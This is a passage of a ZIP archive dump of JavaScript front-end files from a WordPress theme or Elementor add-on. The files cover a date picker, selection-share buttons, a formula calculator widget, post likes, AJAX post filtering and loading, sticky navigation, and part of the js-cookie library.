%4$s:%5$s",t=e("#aam").val(),s=e("#mmm").val(),l=e("#jjm").val(),m=e("#hhm").val(),n=e("#mnm").val(),d=a.data("prefix"),p=new Date(t,s-1,l,m,n);return p.getFullYear()!=t||1+p.getMonth()!=s||p.getDate()!=l||p.getMinutes()!=n?(a.find(".timestamp-wrap").addClass("form-invalid"),!1):(a.find(".timestamp-wrap").removeClass("form-invalid"),e("#pcmdate-timestamp").html("\n "+d+" <b>"+i.replace("%1$s",e('option[value="'+s+'"]',"#mmm").attr("data-text")).replace("%2$s",parseInt(l,10)).replace("%3$s",t).replace("%4$s",("00"+m).slice(-2)).replace("%5$s",("00"+n).slice(-2))+"</b> "),e("#pcmdate-timestamp-be").html("\n  <b>"+i.replace("%1$s",e('option[value="'+s+'"]',"#mmm").attr("data-text")).replace("%2$s",parseInt(l,10)).replace("%3$s",t).replace("%4$s",("00"+m).slice(-2)).replace("%5$s",("00"+n).slice(-2))+"</b> "),!0)};e("#pcmdate_disable").change(function(){e(this).is(":checked")&&e("#pcmdate-disable-hidden").val("yes"),e(this).is(":checked")||e("#pcmdate-disable-hidden").val("no")}).change()})(jQuery);PK     N\O!  !    js/selection-sharer.jsnu [        !function(c,a){"object"==typeof exports&&"object"==typeof module?module.exports=a():"function"==typeof define&&define.amd?define([],a):"object"==typeof exports?exports.Sharect=a():c.Sharect=a()}(window,function(){function f(b){if(g[b])return g[b].exports;var c=g[b]={i:b,l:!1,exports:{}};return a[b].call(c.exports,c,c.exports,f),c.l=!0,c.exports}return g={},f.m=a=[function(a,b,c){"use strict";function e(){return window.getSelection().toString()}function n(c){var d=(window.getSelection().baseNode||window.getSelection().anchorNode).parentNode;return c.some(function(b){return function(d,a){if(Element.prototype.closest)return d.closest(a);Element.prototype.matches||(Element.prototype.matches=Element.prototype.matchesSelector||Element.prototype.mozMatchesSelector||Element.prototype.msMatchesSelector||Element.prototype.oMatchesSelector||Element.prototype.webkitMatchesSelector);var b=d;do if(b.matches(a))return b;while(null!==(b=b.parentNode)&&b.nodeType===Node.ELEMENT_NODE);return null}(d,b)})}function q(e){var g=e.iconSize,h=e.buttonMargin,i=e.arrowSize,d=e.icons,e=window.getSelection().getRangeAt(0).getBoundingClientRect(),g=g+h,h=window.pageXOffset||document.documentElement.scrollTop||document.body.scrollTop;return{top:e.top+h-g-i,left:e.left+(e.width-g*d.length)/2}}function g(e,a){var b,f=Object.keys(e);return Object.getOwnPropertySymbols&&(b=Object.getOwnPropertySymbols(e),a&&(b=b.filter(function(a){return Object.getOwnPropertyDescriptor(e,a).enumerable})),f.push.apply(f,b)),f}function h(e,a){var b,f=Object.keys(e);return Object.getOwnPropertySymbols&&(b=Object.getOwnPropertySymbols(e),a&&(b=b.filter(function(a){return Object.getOwnPropertyDescriptor(e,a).enumerable})),f.push.apply(f,b)),f}function p(e){for(var a,d=1;d<arguments.length;d++)a=null==arguments[d]?{}:arguments[d],d%2?h(Object(a),!0).forEach(function(b){var g,h=e;b=a[g=b],g in h?Object.defineProperty(h,g,{value:b,enumerable:!0,configurable:!0,writable:!0}):h[g]=b}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(a)):h(Object(a)).forEach(function(b){Object.defineProperty(e,b,Object.getOwnPropertyDescriptor(a,b))});return e}function k(a){setTimeout(function(){if(document.querySelector(".sharect")){if(e()&&n(a.selectableElements))return i=(o=q(p({},a))).top,r=o.left,(o=document.querySelector(".sharect")).style.top="".concat(i,"px"),void(o.style.left="".concat(r,"px"));document.body.removeChild(document.querySelector(".sharect"))}var b,c,d,i,o,r,s,t;e()&&n(a.selectableElements)&&(b=p({},a),s=q(b),t=function(e){for(var a,d=1;d<arguments.length;d++)a=null==arguments[d]?{}:arguments[d],d%2?g(Object(a),!0).forEach(function(b){var g,h=e;b=a[g=b],g in h?Object.defineProperty(h,g,{value:b,enumerable:!0,configurable:!0,writable:!0}):h[g]=b}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(a)):g(Object(a)).forEach(function(b){Object.defineProperty(e,b,Object.getOwnPropertyDescriptor(a,b))});return e}({},b,{top:s.top,left:s.left}),document.body.appendChild((d=(c=t).top,i=c.left,o=c.iconSize,r=c.buttonMargin,b=c.backgroundColor,s=c.icons,t=c.arrowSize,r=o+r,(c=document.createElement("div")).className="penci-sharect sharect",c.style.cssText=x(b),c.style.cssText+=y(d,i),c.appendChild(s.icons),r={arrowSize:t,backgroundColor:b,buttonSize:r,icons:s},(s=document.createElement("div")).style.cssText=f(r),s.classList.add("penci-sharect-arrow"),c.appendChild(s),c)))},10)}function i(){this.style.opacity="0.8"}function l(){this.style.opacity="1"}function m(e,f,b){return c=e,e=document.createElement("div"),e.classList.add("pcshare-item"),e.innerHTML=c,e.onmousedown=function(){var c,c=(c=b,f.replace(/PAGE_URL/,window.location.href).replace(/TEXT_SELECTION/,window.getSelection().toString()).replace(/USERNAME/,c));if(-1!==f.indexOf("TEXT_COPIES")){var d=window.getSelection().toString(),e=document.createElement("textarea");e.value=d,document.body.appendChild(e),e.select(),document.execCommand("copy"),document.body.removeChild(e)}else window.open(c,"Share","width=550, height=280")},e.onmouseover=i,e.onmouseout=l,e;var c}function o(e,a){var b,f=Object.keys(e);return Object.getOwnPropertySymbols&&(b=Object.getOwnPropertySymbols(e),a&&(b=b.filter(function(a){return Object.getOwnPropertyDescriptor(e,a).enumerable})),f.push.apply(f,b)),f}function r(e){for(var a,d=1;d<arguments.length;d++)a=null==arguments[d]?{}:arguments[d],d%2?o(Object(a),!0).forEach(function(b){var g,h=e;b=a[g=b],g in h?Object.defineProperty(h,g,{value:b,enumerable:!0,configurable:!0,writable:!0}):h[g]=b}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(a)):o(Object(a)).forEach(function(b){Object.defineProperty(e,b,Object.getOwnPropertyDescriptor(a,b))});return e}c.r(b);var j,s,t,u,v,w,x=function(b){return"background:"+b+";"},y=function(c,a){return"top:"+(c-10)+"px;left:"+a+"px;"},f=function(b){return b.arrowSize,"border-top-color: "+b.backgroundColor+";"};b.default=(j={twitter:{isActive:!0,username:"",url:"https://twitter.com/intent/tweet?text=TEXT_SELECTION&via=USERNAME&url=PAGE_URL",icon:"<i class=\"penciicon-x-twitter\"></i>"},facebook:{isActive:!0,url:"https://www.facebook.com/dialog/feed?app_id="+penci_selection_sharer.facebookid+"&link=PAGE_URL&quote=TEXT_SELECTION",icon:"<i class=\"penci-faicon fa fa-facebook\"></i>"},whatsapp:{url:"https://api.whatsapp.com/send?text=TEXT_SELECTION%20PAGE_URL",icon:"<i class=\"penci-faicon fa fa-whatsapp\"></i>"},reddit:{url:"https://reddit.com/submit?url=PAGE_URL&title=TEXT_SELECTION",icon:"<i class=\"penci-faicon fa fa-reddit\"></i>"},linkedin:{url:"https://www.linkedin.com/shareArticle?mini=true&url=PAGE_URL&summary=TEXT_SELECTION",icon:"<i class=\"penci-faicon fa fa-linkedin\"></i>"},telegram:{url:"https://t.me/share/url?url=PAGE_URL&text=TEXT_SELECTION",icon:"<i class=\"penci-faicon fa fa-telegram\"></i>"},copy:{url:"TEXT_COPIES",icon:"<i class=\"penci-faicon fa fa-clone\"></i>"}},t=["body"],u=[],v="#333",w="#fff",{config:function(b){return void 0!==b.linkedin&&(j.linkedin.isActive=b.linkedin),void 0!==b.telegram&&(j.telegram.isActive=b.telegram),void 0!==b.copy&&(j.copy.isActive=b.copy),void 0!==b.reddit&&(j.reddit.isActive=b.reddit),void 0!==b.whatsapp&&(j.whatsapp.isActive=b.whatsapp),void 0!==b.twitter&&(j.twitter.isActive=b.twitter),void 0!==b.facebook&&(j.facebook.isActive=b.facebook),b.twitterUsername&&(j.twitter.username=b.twitterUsername),b.backgroundColor&&(v=b.backgroundColor),b.iconColor&&(w=b.iconColor),b.selectableElements&&(t=b.selectableElements),this},appendCustomShareButtons:function(b){return u=b,this},init:function(){var e,f,g={backgroundColor:v,iconColor:w,arrowSize:5,buttonMargin:14,iconSize:24,selectableElements:t,networks:j,customShareButtons:u},c=r({},g).iconColor;return(f=document.createElement("style")).id="sharect-style",f.innerHTML=".sharect i{color:".concat(c,";}"),document.body.appendChild(f),s=function(a){var e,k,l,n,o=a.networks,a=a.customShareButtons,j=document.createElement("div"),i=0;for(e in o)o[e]&&o[e].isActive&&(k=(n=o[e]).icon,l=n.url,n=n.username,j.appendChild(m(k,l,n)),i++);return 0<a.length&&a.forEach(function(b){j.appendChild(m(b.icon,b.url)),i++}),{icons:j,length:i}}(r({},g)),e=r({},g,{icons:s}),window.addEventListener("mouseup",function(){return k(e)},!1),this}})}],f.c=g,f.d=function(a,b,c){f.o(a,b)||Object.defineProperty(a,b,{enumerable:!0,get:c})},f.r=function(b){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(b,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(b,"__esModule",{value:!0})},f.t=function(g,a){if(1&a&&(g=f(g)),8&a)return g;if(4&a&&"object"==typeof g&&g&&g.__esModule)return g;var c=Object.create(null);if(f.r(c),Object.defineProperty(c,"default",{enumerable:!0,value:g}),2&a&&"string"!=typeof g)for(var d in g)f.d(c,d,function(b){return g[b]}.bind(null,d));return c},f.n=function(a){var b=a&&a.__esModule?function(){return a.default}:function(){return a};return f.d(b,"a",b),b},f.o=function(c,a){return Object.prototype.hasOwnProperty.call(c,a)},f.p="",f(f.s=0).default;var a,g}),function(a){a(document).ready(function(){Sharect.config({buttonSize:"9px",arrowSize:"7",facebook:penci_selection_sharer.facebook,twitter:penci_selection_sharer.twitter,linkedin:penci_selection_sharer.linkedin,whatsapp:penci_selection_sharer.whatsapp,telegram:penci_selection_sharer.telegram,copy:penci_selection_sharer.copy,backgroundColor:penci_selection_sharer.bgcolor,iconColor:penci_selection_sharer.txtcolor,selectableElements:[".entry-content p",".entry-content :is(h1, h2, h3, h4, h5, h6)",".entry-content span"]}).init()})}(jQuery);PK     N\l3  3    js/advanced-calculator.jsnu [        (function ($, elementor) {
    'use strict';

    var widgetCCalculator = function ($scope, $) {
        const $customCalculator = $scope.find('.penci-advcal');
        const $settings = $customCalculator.data('settings');

        if (!$customCalculator.length) {
            return;
        }

        /**
         * Get variable data array
         */
        function getVariableDataArray() {
            const data = [];
            const onlyValueArray = [];
            const radioNameArrayStack = []; // To avoid duplicate radio button values
            let formulaString = "";

            const $fields = $($settings.id).find(
                ".penci-advcal-field-wrap input[type=text], " +
                ".penci-advcal-field-wrap input[type=hidden], " +
                ".penci-advcal-field-wrap input[type=checkbox], " +
                ".penci-advcal-field-wrap input[type=radio], " +
                ".penci-advcal-field-wrap input[type=number], " +
                ".penci-advcal-field-wrap select"
            );

            $fields.each(function (index, item) {
                const $item = $(item);
                const itemType = $item.prop("type");
                const itemValue = parseFloat($item.val());
                const variableIndex = index + 1;

                if (itemType === "radio") {
                    const radioName = $item.attr('name');
                    if ($(`input[name='${radioName}']`).is(":checked") && !radioNameArrayStack.includes(radioName)) {
                        radioNameArrayStack.push(radioName);
                        processField($(`input[name='${radioName}']:checked`), variableIndex, data, onlyValueArray, formulaString);
                    }
                } else if (itemType === "checkbox" && $item.is(":checked")) {
                    processField($item, variableIndex, data, onlyValueArray, formulaString);
                } else if (itemType === "number" || itemType === "text" || itemType === "hidden" || itemType === "select-one") {
                    processField($item, variableIndex, data, onlyValueArray, formulaString);
                }
            });

            return [data, onlyValueArray];
        }

        /**
         * Process individual field and update data arrays
         */
        function processField($item, variableIndex, data, onlyValueArray, formulaString) {
            const realValue = getValueIfNumber($item.val());
            if (realValue !== null) {
                onlyValueArray.push({
                    variable: `f${variableIndex}`,
                    value: realValue,
                });
            }

            data.push({
                type: $item.prop("type"),
                index: variableIndex - 1,
                value: $item.val(),
                variable: `f${variableIndex}`,
                real_value: realValue,
            });

            formulaString += realValue < 0 ? `-f${variableIndex}, ` : `f${variableIndex}, `;
        }

        /**
         * Validate and parse number values
         */
        function getValueIfNumber(value) {
            const parsedValue = parseFloat(value);
            return !isNaN(parsedValue) ? parsedValue : null;
        }

        /**
         * Extract formula string from settings
         */
        function getFormulaStringFromDataSettings() {
            const formula = $settings.formula;
            const match = formula ? formula.match(/'(.*)'/) : null;
            return match ? match[1] : null;
        }

        /**
         * Process form data with formula.js
         */
        function processFormDataWithFormulaJs() {
            const [data, variableArray] = getVariableDataArray();
            const formulaString = getFormulaStringFromDataSettings();
            if (!formulaString || variableArray.length === 0) {
                return;
            }

            let processedFormula = formulaString;
            const regexp = /f[1-9][0-9]{0,2}|1000$/g;
            let match;

            while ((match = regexp.exec(formulaString)) !== null) {
                const variable = match[0];
                const variableData = variableArray.find(v => v.variable === variable);
                processedFormula = processedFormula.replace(variable, variableData ? variableData.value : null);
            }

            try {
                const result = eval(`formulajs.${processedFormula}`);
                $($settings.id).find(".penci-advcal-result span").text(result.toFixed(2));
            } catch (error) {
                showError();
            }
        }

        /**
         * Show error message
         */
        function showError() {
            const $errorElement = $($settings.id).find('.penci-advcal-el-ep-advanced-calculator-error');
            $errorElement.removeClass('penci-advcal-el-hidden');
            setTimeout(() => {
                $errorElement.addClass('penci-advcal-el-hidden');
            }, 5000);
        }

        // Bind events based on settings
        if ($settings.resultShow === 'submit') {
            $($settings.id).find(".penci-advcal-form").on("submit", function (e) {
                e.preventDefault();
                processFormDataWithFormulaJs();
            });
        } else if ($settings.resultShow === 'change') {
            $($settings.id).find(".penci-advcal-form input").on("change", processFormDataWithFormulaJs);
        }
    };

    // Initialize the widget
    $(window).on('elementor/frontend/init', function () {
        elementorFrontend.hooks.addAction('frontend/element_ready/penci-advanced-calculator.default', widgetCCalculator);
    });

}(jQuery, window.elementorFrontend));PK     N\$M      js/post-like.jsnu [        jQuery( document ).ready( function ($) {
	jQuery( 'body' ).on( 'click', '.penci-post-like', function ( event ) {
		event.preventDefault();
		var $this = jQuery( this ),
			post_id = $this.data( "post_id" ),
			reaction = $this.data( "reaction" ),
			like_text = $this.data( "like" ),
			unlike_text = $this.data( "unlike" ),
			$selector = $this.children('.dt-share' );
			if( $this.hasClass( 'single-like-button' ) ) {
				$selector = $this.parent().find('.count-number-like');
			}
			if ( $this.hasClass( 'penci-post-reaction' ) ) {
				$selector = $this.closest( '.penci-post-reaction-item' ).find( '.dt-share' );
			}
		var	$like = parseInt( $selector.text() );

		if ( $this.hasClass( 'single-like-button' ) ) {
			$selector = $( '.post-share-plike .count-number-like' );
			$this = $( '.single-like-button' );
		}

		if ( $this.hasClass( 'liked' ) ) {
			$this.removeClass( 'liked' );
			$this.prop( 'title', 'Like' );
			$selector.html( ( $like - 1 ) );
		}
		else {
			$this.addClass( 'liked' );
			$this.prop( 'title', 'Unlike' );
			$selector.html( ( $like + 1 ) );
		}

		jQuery.ajax( {
			type: "post",
			url : ajax_var_more.url,
			data: "action=penci-post-like&nonce=" + ajax_var_more.nonce + "&penci_post_like=&post_id=" + post_id + "&reaction=" + reaction,
		} );
	} );
} );
PK     N\S4  4    js/ajax-filter-bg.jsnu [        /* global penciBlock */
/* global penciBlocksArray */
jQuery(document).ready(function ($) {
    var nav = [];
    $('.penci-biggrid-wrapper').each(function () {
        var t = $(this),
            elID = t.attr('id'),
            c = 'li.all .pc-ajaxfil-link',
            datamax = t.find('.penci-biggrid-inner.default .penci-biggrid-data').data('maxp');

        if (t.find(c).length) {
            t.find(c).attr('data-maxp', datamax);
        }

        if (parseInt(datamax) <= 1) {
            $(this).find('.pcflx-nav .pcaj-nav-link').addClass('disable');
        }

        if (t.find('.penci-ajax-more').length) {
            nav[elID] = t.find('.penci-ajax-more').prop('outerHTML');
        }
    });

    jQuery('body').on('click', '.penci-biggrid-wrapper .pc-ajaxfil-link', function (event) {
        event.preventDefault();
        if (!$(this).hasClass('loading-posts')) {
            var $this = $(this),
                parentID = $(this).closest('.penci-biggrid-wrapper').attr('id'),
                $navthis = $this,
                divid = $this.data('id'),
                divc = 'penci-biggrid-tab-' + divid,
                parent = $this.closest('.pcnav-lgroup'),
                settings = parent.data('settings'),
                layout = parent.data('layout'),
                query_type = parent.data('query_type'),
                arppp = parent.data('number'),
                cat = $this.data('cat'),
                tag = $this.data('tag'),
                author = $this.data('author'),
                wrap_content = $this.closest('.penci-biggrid-wrapper').find('.penci-biggrid'),
                mainc = wrap_content.find('.penci-biggrid-data').attr('class'),
                pagednum = parseInt($this.attr('data-paged')),
                curpaged = pagednum,
                navlink = false,
                prev = false,
                o = 0;

            if ($this.hasClass('pcaj-nav-link')) {
                navlink = true;
            }

            if (navlink && $this.hasClass('prev')) {
                prev = true;
            }

            if (navlink) {
                $this = parent.find('.current-item');
                divid = $this.data('id');
                divc = 'penci-biggrid-tab-' + divid;
                cat = $this.data('cat');
                tag = $this.data('tag');
                curpaged = parseInt($this.attr('data-paged'));

                if (prev) {
                    pagednum = curpaged - 1;
                } else {
                    pagednum = curpaged + 1;
                }
            }

            $this.addClass('loading-posts');
            wrap_content.addClass('loading-posts pcftaj-ld');
            parent.find('.pc-ajaxfil-link').removeClass('current-item');
            $this.addClass('current-item');

            if (divid === 'default' && !navlink) {
                wrap_content.find('.penci-biggrid-inner').hide();
                wrap_content.find('.penci-biggrid-inner.default').show();
                wrap_content.removeClass('loading-posts pcftaj-ld');
                $this.removeClass('loading-posts');
                $navthis.removeClass('loading-posts');

                var maxp = $(this).attr('data-maxp');

                wrap_content.find('.penci-biggrid-inner.default .penci-bgitem').each(function () {
                    o++;
                    $(this).addClass('penci-ajrs-animate').attr('style', 'animation-delay:' + o / 10 + 's')
                });

                if (pagednum <= 1) {
                    parent.find('.pc-ajaxfil-link.prev').addClass('disable');
                } else {
                    parent.find('.pc-ajaxfil-link.prev').removeClass('disable');
                }

                if ($('.' + divc).find('.pc-nomorepost').length || parseInt(maxp) <= 1) {
                    parent.find('.pc-ajaxfil-link.next').addClass('disable');
                } else {
                    parent.find('.pc-ajaxfil-link.next').removeClass('disable');
                }

            } else if (wrap_content.find('.' + divc).length && !navlink) {
                wrap_content.find('.penci-biggrid-inner').hide();
                wrap_content.find('.' + divc).show();
                wrap_content.removeClass('loading-posts pcftaj-ld');
                $this.removeClass('loading-posts');
                $navthis.removeClass('loading-posts');
                wrap_content.find('.' + divc + ' .penci-bgitem').each(function () {
                    o++;
                    $(this).addClass('penci-ajrs-animate').attr('style', 'animation-delay:' + o / 10 + 's')
                });

                if (pagednum <= 1) {
                    parent.find('.pc-ajaxfil-link.prev').addClass('disable');
                } else {
                    parent.find('.pc-ajaxfil-link.prev').removeClass('disable');
                }

                if ($('.' + divc).find('.pc-nomorepost').length) {
                    parent.find('.pc-ajaxfil-link.next').addClass('disable');
                } else {
                    parent.find('.pc-ajaxfil-link.next').removeClass('disable');
                }

            } else {

                var data = {
                    action: 'penci_bgmore_post_ajax',
                    settings: settings,
                    layout: layout,
                    pagednum: pagednum,
                    query_type: query_type,
                    cat: cat,
                    tag: tag,
                    author: author,
                    qtype: 'ajaxtab',
                    arppp: arppp,
                    nonce: pcfilterbg_ajax.nonce,
                };

                $.ajax({
                    type: "POST",
                    dataType: "html",
                    url: ajax_var_more.url,
                    data: data,
                    success: function (data) {
                        if (data) {
                            var data_paded = curpaged;

                            if (navlink) {
                                wrap_content.find('.' + divc).remove();
                                data_paded = curpaged + 1;
                            }

                            if (prev) {
                                data_paded = curpaged - 1;
                            }

                            wrap_content.append('<div class="penci-biggrid-inner ' + divc + '"><div class="' + mainc + '"></div></div>');

                            if (data_paded <= 1) {
                                parent.find('.pc-ajaxfil-link.prev').addClass('disable');
                            } else {
                                parent.find('.pc-ajaxfil-link.prev').removeClass('disable');
                            }

                            if (nav[parentID] !== undefined) {
                                wrap_content.find('.' + divc).append($(nav[parentID]));
                                wrap_content.find('.' + divc + ' .penci-ajax-more .penci-ajax-more-button')
                                    .removeAttr('data-cat')
                                    .removeAttr('data-tag')
                                    .removeAttr('data-author');
                                if (cat) {
                                    wrap_content.find('.' + divc + ' .penci-ajax-more .penci-ajax-more-button').attr('data-cat', cat);
                                }
                                if (tag) {
                                    wrap_content.find('.' + divc + ' .penci-ajax-more .penci-ajax-more-button').attr('data-tag', tag);
                                }
                                if (author) {
                                    wrap_content.find('.' + divc + ' .penci-ajax-more .penci-ajax-more-button').attr('data-author', author);
                                }
                                wrap_content.find('.' + divc + ' .penci-ajax-more .penci-ajax-more-button').attr('data-pagednum', data_paded + 1);
                                wrap_content.find('.' + divc + ' .penci-ajax-more .penci-ajax-more-button').attr('data-paged', data_paded + 1);
                            }

                            $this.attr('data-paged', data_paded);

                            if (layout === 'style-2') {

                                wrap_content.find('.' + divc + ' .penci-biggrid-data').append(data).imagesLoaded(function () {
                                    wrap_content.find('.' + divc + ' .penci-biggrid-data').isotope({
                                        itemSelector: '.item-masonry',
                                        transitionDuration: '.55s',
                                        layoutMode: 'masonry'
                                    });
                                });

                                if ($().easyPieChart) {
                                    $('.penci-piechart').each(function () {
                                        var $this = $(this);
                                        $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                            var chart_args = {
                                                barColor: $this.data('color'),
                                                trackColor: $this.data('trackcolor'),
                                                scaleColor: false,
                                                lineWidth: $this.data('thickness'),
                                                size: $this.data('size'),
                                                animate: 1000
                                            };
                                            $this.easyPieChart(chart_args);
                                        }); // bind inview
                                    }); // each
                                }
                            } else {
                                wrap_content.find('.' + divc + ' .penci-biggrid-data').append(data);

                                if ($().easyPieChart) {
                                    $('.penci-piechart').each(function () {
                                        var $this = $(this);
                                        $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                            var chart_args = {
                                                barColor: $this.data('color'),
                                                trackColor: $this.data('trackcolor'),
                                                scaleColor: false,
                                                lineWidth: $this.data('thickness'),
                                                size: $this.data('size'),
                                                animate: 1000
                                            };
                                            $this.easyPieChart(chart_args);
                                        }); // bind inview
                                    }); // each
                                }
                            }

                            if ($('.' + divc).find('.pc-nomorepost').length) {
                                parent.find('.pc-ajaxfil-link.next').addClass('disable');
                            } else {
                                parent.find('.pc-ajaxfil-link.next').removeClass('disable');
                            }

                            wrap_content.find('.penci-biggrid-inner').hide();
                            wrap_content.find('.' + divc).show();
                            wrap_content.removeClass('loading-posts pcftaj-ld');
                            $this.removeClass('loading-posts');
                            $navthis.removeClass('loading-posts');

                            var o = 0;
                            wrap_content.find('.' + divc + ' .penci-bgitem').each(function () {
                                o++;
                                $(this).addClass('penci-ajrs-animate').attr('style', 'animation-delay:' + o / 10 + 's')
                            });
                            $(document).trigger('bgajax_loaded');
                            $(document).trigger('penci_bf_check');
                        } else {
                            if (navlink) {
                                parent.find('.pc-ajaxfil-link.next').addClass('disable');
                            } else {
                                wrap_content.find('.penci-biggrid-inner').hide();
                                wrap_content.find('.' + divc).append('<div class="pcajx-nopost"><span>No post found !</span></div>');
                                wrap_content.find('.' + divc).show();
                            }
                            wrap_content.removeClass('loading-posts pcftaj-ld');
                            $this.removeClass('loading-posts');
                            $navthis.removeClass('loading-posts');
                        }
                    },
                    error: function (jqXHR, textStatus, errorThrown) {
                        console.log(jqXHR + " :: " + textStatus + " :: " + errorThrown);
                    },
                    completed: function () {
                        wrap_content.removeClass('loading-posts pcftaj-ld');
                        $this.removeClass('loading-posts');
                        $navthis.removeClass('loading-posts');
                    }
                });
            }
        }
    });
});
PK     N\5=      js/more-post.min.jsnu [        jQuery(document).ready(function(a){function b(a){var b=new penciBlock;return jQuery.each(penciBlocksArray,function(c,d){d.blockID===a&&(b=penciBlocksArray[c])}),b}jQuery("body").on("click",".penci-ajax-more-click .penci-ajax-more-button",function(c){if(c.preventDefault(),!a(this).hasClass("loading-posts")){var d=a(this),e=d.data("layout"),f=d.data("number"),g=d.data("mes"),h=a(this).attr("data-offset"),i=d.data("exclude"),j=d.data("from"),k=d.data("come_from"),l=d.data("mixed"),m=d.data("query"),n=d.data("infeedads"),o=d.data("number"),p=d.data("query_type"),q=d.data("archivetype"),r=d.data("archivevalue"),s=d.data("order"),t=d.data("tag"),u=d.data("cat"),v=d.data("author"),w=d.data("template");d.addClass("loading-posts");var x=b(d.attr("data-blockuid")),y=x.atts_json?JSON.parse(x.atts_json):x.atts_json,z={action:"penci_more_post_ajax",query:m,offset:h,mixed:l,layout:e,exclude:i,from:j,comefrom:k,datafilter:y,template:w,ppp:f,tag:t,author:v,cat:u,number:o,infeedads:n,query_type:p,archivetype:q,archivevalue:r,order:s,nonce:penci_ajax_more_posts.nonce};a.ajax({type:"POST",dataType:"html",url:ajax_var_more.url,data:z,success:function(b){if(b){var c=parseInt(h)+f,i=d.parent().parent().find(".penci-wrapper-data");if(d.attr("data-offset",c),"masonry"===e||"masonry-2"===e){var j=a(b);i.append(j).isotope("appended",j).imagesLoaded(function(){i.isotope("layout")}),a(".container").fitVids(),a().easyPieChart&&a(".penci-piechart").each(function(){var b=a(this);b.one("inview",function(){var a={barColor:b.data("color"),trackColor:b.data("trackcolor"),scaleColor:!1,lineWidth:b.data("thickness"),size:b.data("size"),animate:1e3};b.easyPieChart(a)})})}else{var j=a(b);i.append(j),a(".container").fitVids(),a().easyPieChart&&a(".penci-piechart").each(function(){var b=a(this);b.one("inview",function(){var a={barColor:b.data("color"),trackColor:b.data("trackcolor"),scaleColor:!1,lineWidth:b.data("thickness"),size:b.data("size"),animate:1e3};b.easyPieChart(a)})});var k=a(".penci-post-gallery-container.justified"),l=a(".penci-post-gallery-container.masonry");if(a().justifiedGallery&&k.length&&a(".penci-post-gallery-container.justified").each(function(){var b=a(this);b.justifiedGallery({rowHeight:b.data("height"),lastRow:"nojustify",margins:b.data("margin"),randomize:!1})}),a().isotope&&l.length&&a(".penci-post-gallery-container.masonry .item-gallery-masonry").each(function(){var b=a(this);if(b.attr("title")){var c=b.attr("title");b.children().append("<div class=\"caption\">"+c+"</div>")}}),l.length&&l.each(function(){var b=a(this);b.imagesLoaded(function(){b.isotope({itemSelector:".item-gallery-masonry",transitionDuration:".55s",layoutMode:"masonry"}),b.addClass("loaded"),a(".penci-post-gallery-container.masonry .item-gallery-masonry").each(function(){var b=a(this);b.one("inview",function(){b.addClass("animated")})})})}),a().theiaStickySidebar){var m=90;a("body").hasClass("admin-bar")&&(m=122),a("#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar").theiaStickySidebar({additionalMarginTop:m})}}d.removeClass("loading-posts"),a("body").trigger("penci_swiper_sliders"),a(document).trigger("penci_bf_check")}else d.find(".ajax-more-text").text(g),d.find("i").remove(),d.removeClass("loading-posts"),setTimeout(function(){d.parent().remove()},1200)},error:function(a,b,c){console.log(a+" :: "+b+" :: "+c)}})}})});PK     N\xF      js/nav-scroll.jsnu [        jQuery(document).ready(function($) {
    var $nav = $('.penci-post-sticky-nav');
    var $post = $('article.post');
    var $stickyWrapper = $('.sticky-wrapper #navigation');
    var $customStickyArea = $('.penci_builder_sticky_header_desktop');
  
    var lastHeights = { wrapper: 0, custom: 0, adminBar: false };
  
    function getCombinedOffset() {
      var wrapperHeight = $stickyWrapper.length ? $stickyWrapper.outerHeight(true) : 0;
      var customHeight = $customStickyArea.length ? $customStickyArea.outerHeight(true) : 0;
      var adminBarOffset = $('body').hasClass('admin-bar') ? 32 : 0;
  
      return {
        total: wrapperHeight + customHeight + adminBarOffset,
        wrapper: wrapperHeight,
        custom: customHeight,
        adminBar: adminBarOffset > 0
      };
    }
  
    function updateStickyTop() {
      var heights = getCombinedOffset();
  
      // Only update if height changed
      if (
        heights.wrapper !== lastHeights.wrapper ||
        heights.custom !== lastHeights.custom ||
        heights.adminBar !== lastHeights.adminBar
      ) {
        $nav.css('top', heights.total + 'px');
        lastHeights = {
          wrapper: heights.wrapper,
          custom: heights.custom,
          adminBar: heights.adminBar
        };
      }
    }
  
    function checkStickyNav() {
      if (!$nav.length || !$post.length) return;
  
      var postTop = $post.offset().top;
      var scrollTop = $(window).scrollTop();
      var navTop = parseInt($nav.css('top'), 10) || 0;
  
      if (scrollTop + navTop >= postTop) {
        $nav.addClass('active');
      } else {
        $nav.removeClass('active');
      }
    }
  
    function onScrollOrResize() {
      updateStickyTop();
      checkStickyNav();
    }
  
    // Periodic height check (every 300ms)
    setInterval(updateStickyTop, 300);
  
    // Bind events
    $(window).on('load scroll resize', onScrollOrResize);
  });
  PK     N\A>6  6    js/js-cookies.jsnu [        /*!
 * JavaScript Cookie v2.1.4
 * https://github.com/js-cookie/js-cookie
 *
 * Copyright 2006, 2015 Klaus Hartl & Fagner Brack
 * Released under the MIT license
 */
!function (e) {
    var n = !1;
    if ("function" == typeof define && define.amd && (define(e), n = !0), "object" == typeof exports && (module.exports = e(), n = !0), !n) {
        var o = window.Cookies, t = window.Cookies = e();
        t.noConflict = function () {
            return window.Cookies = o, t
        }
    }
}(function () {
    function e() {
        for (var e = 0, n = {}; e < arguments.length; e++) {
            var o = arguments[e];
            for (var t in o) n[t] = o[t]
        }
        return n
    }

    return function n(o) {
        function t(n, r, i) {
            var c;
            if ("undefined" != typeof document) {
                if (arguments.length > 1) {
                    if ("number" == typeof (i = e({path: "/"}, t.defaults, i)).expires) {
                        var a = new Date;
                        a.setMilliseconds(a.getMilliseconds() + 864e5 * i.expires), i.expires = a
                    }
                    i.expires = i.expires ? i.expires.toUTCString() : "";
                    try {
                        c = JSON.stringify(r), /^[\{\[]/.test(c) && (r = c)
                    } catch (e) {
                    }
                    r = o.write ? o.write(r, n) : encodeURIComponent(String(r)).replace(/%(23|24|26|2B|3A|3C|3E|3D|2F|3F|40|5B|5D|5E|60|7B|7D|7C)/g, decodeURIComponent), n = (n = (n = encodeURIComponent(String(n))).replace(/%(23|24|26|2B|5E|60|7C)/g, decodeURIComponent)).replace(/[\(\)]/g, escape);
                    var f = "";
